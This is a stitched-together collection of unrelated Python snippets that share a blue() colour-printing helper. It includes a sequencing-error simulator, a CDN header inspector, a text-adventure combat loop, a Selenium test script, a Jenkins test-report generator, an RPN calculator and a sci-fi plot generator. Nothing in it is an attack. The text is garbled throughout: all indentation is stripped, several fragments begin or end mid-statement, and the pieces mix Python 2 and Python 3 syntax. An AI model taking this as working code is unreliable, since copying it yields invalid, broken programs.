print 'The total error percentage is:', magenta(str(total_errors / total_lengths * 100)), '%'
def downloads_finished():
global counter, fail_counter, errors, progress_bar
progress_bar.finish()
print(green("Obtained %i out of %i images, %i could not be retrieved"
% (counter - fail_counter, counter, fail_counter)))
for url, error in errors:
print("Error", red(error.getErrorMessage()),
"at url", blue(url))
print(green("Obtained %i out of %i images, %i could not be retrieved"
% (counter - fail_counter, counter, fail_counter)))
return
def print_headers():
resp = requests.get(args.url, headers=headers)
if resp.ok:
headtable = PrettyTable(["header", "value"])
headtable.header = False
session_info = {}
h = collections.OrderedDict(sorted(resp.headers.items()))
for header in h:
if header == 'x-akamai-session-info':
aheadtable = PrettyTable(["header", "value"])
aheadtable.header = False
si = [x.strip() for x in h[header].split(',')]
for s in si:
i = [x.strip() for x in s.split(';')]
session_info[i[0][5:]] = i[1][6:]
if len(i) > 2:
t = i[2].split('=')
session_info[t[0]] = t[1]
elif header == 'x-check-cacheable':
if h[header] == 'NO':
headtable.add_row([blue(header), red(h[header])])
else:
headtable.add_row([blue(header), green(h[header])])
elif header == 'x-cache':
if 'TCP_MISS' in h[header]:
headtable.add_row([blue(header), red(h[header])])
else:
headtable.add_row([blue(header), green(h[header])])
else:
headtable.add_row([blue(header), green(h[header])])
headtable.align = "l"
print bold(underline(blue("### Headers")))
print headtable
if session_info:
if args.session:
d = collections.OrderedDict(sorted(session_info.items()))
for key in d:
aheadtable.add_row([blue(key), green(d[key])])
aheadtable.align = "l"
print bold(underline(blue("### Akamai Session Info")))
print aheadtable
def readline(self):
prompt = 'tiget[{}]% '.format(self.lineno)
if settings.core.color:
prompt = blue(prompt)
readline.set_completer(self.complete)
readline.set_completer_delims(whitespace)
try:
line = input(prompt).strip()
except KeyboardInterrupt:
print('^C')
raise
except EOFError:
print('quit')
raise
finally:
readline.set_completer()
if not line:
self.lineno -= 1
return line
def report_results_to_stdout(self, result, exec_time):
"""pretty prints the results of a simulation"""
print(blue('Execution time: {}s {}ms'.format(exec_time.seconds, exec_time.microseconds)))
if self.starting_cards == '':
self.starting_cards='any'
result_record=[self.starting_cards, str(self.draws), self.target + ' low', '{:,}'.format(self.simulations), '{0:.4%}'.format(result)]
headers = ['starting cards','nb draws','target hand','simulations','odds (%)']
collist = tuple([i for i in range(headers.__len__() + 1)])
# this sets the initial column width based on the width of the headers
colwidth = dict(zip(collist,(len(x) for x in headers)))
# if the width of our values is longer than the corresponding header's we update that column's width
colwidth.update(( i, max(colwidth[i],len(el)) ) for i,el in enumerate(result_record))
width_pattern = ' | '.join('%%-%ss' % colwidth[i] for i in range(0,5))
# note the lists are converted into tuples in order to apply width_pattern onto them
print('\n'.join((width_pattern % tuple(headers), '-|-'.join(colwidth[i] * '-' for i in range(5)),
''.join(width_pattern % tuple(result_record)))))
def get_job():
jobs = sorted(
client.get_my_jobs(),
key=lambda j: (
j.find('Client').find('Name').text.strip(),
j.find('Name').text.strip(),
)
)
print()
for i, job in enumerate(jobs):
print('{index}: {job} | {client}'.format(
index=colors.bold('{:3}'.format(i+1)),
client=colors.blue(job.find('Client').find('Name').text.strip()),
job=colors.magenta(job.find('Name').text.strip()),
))
return input_valid(
'\npick a job (1-{}): '.format(len(jobs)),
lambda i: jobs[int(i)-1],
)
def main(args):
opts = parse_cmdline_params(args[1:])
sequences = createFastqDict(opts.fastq)
#sequences = createFastqDict('sampleFastq')
total_error_num = 0
total_errors = 0
total_lengths = 0
for key in sequences:
error_seq_string = ''
seq_name = key
seq_string = sequences[key]
position = 0
error_num = 0
quality_string = createQualityScores(seq_string)
for base in seq_string:
if base not in 'AGCT':
raise ValueError("This base,", base ,",is not an A, G, C, or T!")
position += 1
error_prob = 0.001 * position
if error_prob * 100 <= 0:
raise ValueError("The error probability must be greater than 0!")
#Checks if it needs to add an error
if (random.randint(1,1000) < (error_prob)*1000):
error_seq_string = addError(error_seq_string,base,True)
error_num += 1
else:
error_seq_string = addError(error_seq_string,base,False)
total_errors += error_num
total_error_num += 1
error_perc = error_num/len(seq_string)
total_lengths += len(seq_string)
printErrors(blue(seq_name),seq_string,error_seq_string,green(str(error_num)))
print 'The error percent for this sequence is:',yellow(str(error_perc*100)),'%'
print 'The new quality string is: ',quality_string,'\n'
print 'The average number of errors generated was:',magenta(str(int(total_errors/total_error_num)))
print 'The total error percentage is:',magenta(str(total_errors/total_lengths*100)),'%'
def fight(type, hit, min, max):
global sword
global healthp
global potion
global bp
beast = hit
pause('#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#')
if sword == 3:
minA = 10
maxA = 40
attword = 'slashes'
print "\nWith sword in hand, %s stands ready for the %s!\n" % (name, type)
else:
minA = 5
maxA = 12
attword = "hits"
print "\nNot enough time to untie the sword from the backpack! Should have equiped it!\n"
while beast >= 0:
print "%s's HEALTH: " % name + blue("%d") % healthp
print "%s HEALTH: " % type + bold("%d") % beast
swordh = random.randint(minA, maxA)
beasth = random.randint(min, max)
fight = raw_input("1. Attack 2. Flash 3. Potion >>> ")
if fight in('1', 'attack', 'Attack'):
print'\n'
pause(bold('++I====>'))
print "%s %s the %s for" % (name, attword, type) + red(" %d DAMAGE!\n") % swordh
beast -= swordh
if beast > 0:
beastatt(type, beasth)
else:
print "%s strikes the %s DOWN!" % (name, type)
print blue("****VICTORY****")
get_potion(3)
elif fight in ('2', 'flash', 'Flash'):
if min != max:
print '\n'
pause(bold(yellow('<(--)>')))
print "%s shines the flashlight into the %ss eyes, weakening it..." % (name, type)
max -= 1
print "%s attack" % type + bold(" DOWN\n")
beastatt(type, beasth)
else:
print'\n'
pause('---')
print "Can't weaken anymore.\n"
beastatt(type, beasth)
elif fight in ('3', 'potion', 'Potion'):
if potion >= 1:
print '\n'
pause(bold(blue('-OTO-')))
print "%s takes a " % name + bold(blue("POTION"))
health(30)
potion -= 1
bp.remove('potion')
beastatt(type, beasth)
else:
print '\n'
pause('000')
print "No potions!!!\n"
else:
print '\n'
pause(bold('<==>'))
print "The %s grabs at %s in a fit of rage." % (type, name)
health(-2)
def debug(*msg):
if DEBUG:
msg = map(str, msg)
print colors.bold(colors.blue('DEBUG')), ' '.join(msg)
# if (flag2 != True):
# print red("Error. Can't find children " + option.text)
# # endregion
# region ------ Add Event
class Add_Event(unittest.TestCase):
print blue("Adding event... Click 'Event'")
driver.get("http://develop.ckids.web.drucode.com/centre/xyz-childrens-creche/events")
WebDriverWait(driver, 10)
driver.find_element_by_link_text("Add New Event").click()
print blue("Adding event...")
wait = WebDriverWait(driver, 10)
# date_event = driver.find_element_by_class_name("date-clear form-text hasDatepicker date-popup-init").clear()
wait.until(
lambda driver: driver.find_element_by_xpath("//*[@id='edit-field-event-date-und-0-value-datepicker-popup-0']")
)
date_event = driver.find_element_by_xpath("//*[@id='edit-field-event-date-und-0-value-datepicker-popup-0']").clear()
WebDriverWait(driver, 10)
driver.find_element_by_id("edit-field-event-date-und-0-value-datepicker-popup-0").click()
driver.find_element_by_xpath("//*[@id='ui-datepicker-div']/table/tbody/tr[5]/td[1]/a").click()
driver.find_element_by_id("edit-title").send_keys("test")
driver.find_element_by_id("edit-body-und-0-value").send_keys("test description")
print green("Added event :) ")
# driver.find_element_by_id("edit-submit").click()
driver.find_element_by_class_name("cancel-button").click()
driver.get("http://develop.ckids.web.drucode.com/")
def _build_report(job, build, build_number, failed):
report = build['test_report']
build = build['build']
if build.get('building'):
return 'Building is currently running'
if report.get('status') == 'error':
return 'No tests report has been generated for this build'
failed_dir = work.failed_dir(job, build_number)
passed_dir = work.passed_dir(job, build_number)
for d in [passed_dir, failed_dir]:
d.rmtree_p()
d.mkdir()
build_parameters = _extract_build_parameters(build)
interesting_parameters = ['system_tests_branch', 'system_tests_descriptor']
interesting_parameters = {k: v for k, v in build_parameters.items()
if k in interesting_parameters}
cause = _extract_build_cause(build)
timestamp = build['timestamp']
print '{}: {} ({})'.format(colors.bold('Cause'),
cause,
_timestamp_to_datetime(timestamp))
print
print colors.bold('Parameters: ')
print yaml.safe_dump(interesting_parameters, default_flow_style=False)
colored_cause = colors.blue(' - CAUSE')
for suite in report['suites']:
suite_name = suite['name']
cases = []
has_passed = False
has_failed = False
for case in suite['cases']:
test_status = case['status']
if test_status in ['FAILED', 'REGRESSION']:
test_status = 'FAILED'
colored_status = colors.red(test_status)
has_failed = True
elif test_status in ['PASSED', 'FIXED']:
test_status = 'PASSED'
colored_status = colors.green(test_status)
has_passed = True
elif test_status == 'SKIPPED':
colored_status = colors.yellow(test_status)
has_failed = True
else:
colored_status = test_status
name = case['name']
class_name = (case['className'] or '').split('.')[-1].strip()
if class_name:
name = '{}.{}'.format(class_name, name)
if not failed or test_status != 'PASSED':
cases.append('{:<18}{}'.format(
colored_status,
name.split('@')[0].strip()))
filename = '{}.log'.format(name.replace(' ', '-'))
dirname = passed_dir if test_status == 'PASSED' else failed_dir
with open(dirname / filename, 'w') as f:
f.write('name: {}\n\n'.format(case['name']))
f.write('status: {}\n\n'.format(case['status']))
if has_failed:
handle_failure(cases, case, colored_cause, f)
f.write('class: {}\n\n'.format(case['className']))
f.write('duration: {}\n\n'.format(case['duration']))
f.write('error details: {}\n\n'.format(case['errorDetails']))
f.write('error stacktrace: {}\n\n'.format(
case['errorStackTrace']))
f.write('stdout: \n{}\n\n'.format(
(case['stdout'] or '').encode('utf-8', errors='ignore')))
f.write('stderr: \n{}\n\n'.format(
(case['stderr'] or '').encode('utf-8', errors='ignore')))
if has_passed and has_failed:
suite_name_color = colors.yellow
elif has_passed:
suite_name_color = colors.green
elif has_failed:
suite_name_color = colors.red
else:
suite_name_color = colors.white
if cases:
print suite_name_color(colors.bold(suite_name))
print suite_name_color(colors.bold('-' * (len(suite_name))))
print '\n'.join(cases)
print
print 'Report files written to {}'.format(work.build_dir(job,
build_number))
def print_command(str):
print colors.blue(">>"), str
tokens_list = parse_expr.parse_expr(expr)
expression_type = EXPR_TYPES[INFIX]
for tokens in tokens_list:
current_count = current_count + 1
rpn_expr = []
solution = ""
if tokens == ["quit"]:
sys.exit(0)
elif len(tokens) > 0 and tokens[0] == "infix":
expression_type = EXPR_TYPES[0]
tokens = tokens[1:]
elif len(tokens) > 0 and tokens[0] == "rpn":
expression_type = EXPR_TYPES[1]
rpn_expr = tokens[1:]
if tokens != [] and expression_type == EXPR_TYPES[0]:
rpn_expr = compile_to_rpn.compile_to_rpn(tokens)
if rpn_expr != [] or expression_type == EXPR_TYPES[1]:
solution = solve_rpn.solve_rpn(rpn_expr)
if solution != "":
print colors.green("Result(") + colors.cyan(str(current_count)) + colors.green("): ") + colors.blue(str(solution))
print ""
def __str__(self):
'Return the colorized name of this player.'
name = Character.__str__(self)
return blue(name)
"Space Pirate King/Queen",
"Void Crystals",
"Star Dreadnought",
"Quantum Tunnel",
"Ancient Space Ruin",
"Alien Artifact",
)
which_will_list = (
"Destroy a Solar System",
"Reverse Time",
"Enslave a Planet",
"Start a War / Invasion",
"Rip a Hole in Reality",
"Fix Everything"
)
if __name__ == '__main__':
nb = 1
if len(sys.argv) > 1:
nb = int(sys.argv[1])
for i in range(nb, 0, -1):
print "A threat...\n%s wants to %s the %s which will %s" % (
blue(random.choice(threat_list)),
blue(random.choice(wants_to_list)),
blue(random.choice(the_list)),
blue(random.choice(which_will_list))
)
if i > 1:
print 80 * "-"
def show_commands(self):
print blue("\nYou have the following commands available:")
for command in self.commands:
print blue("- " + command)
def default(self, token):
return ansicolors.blue(token)
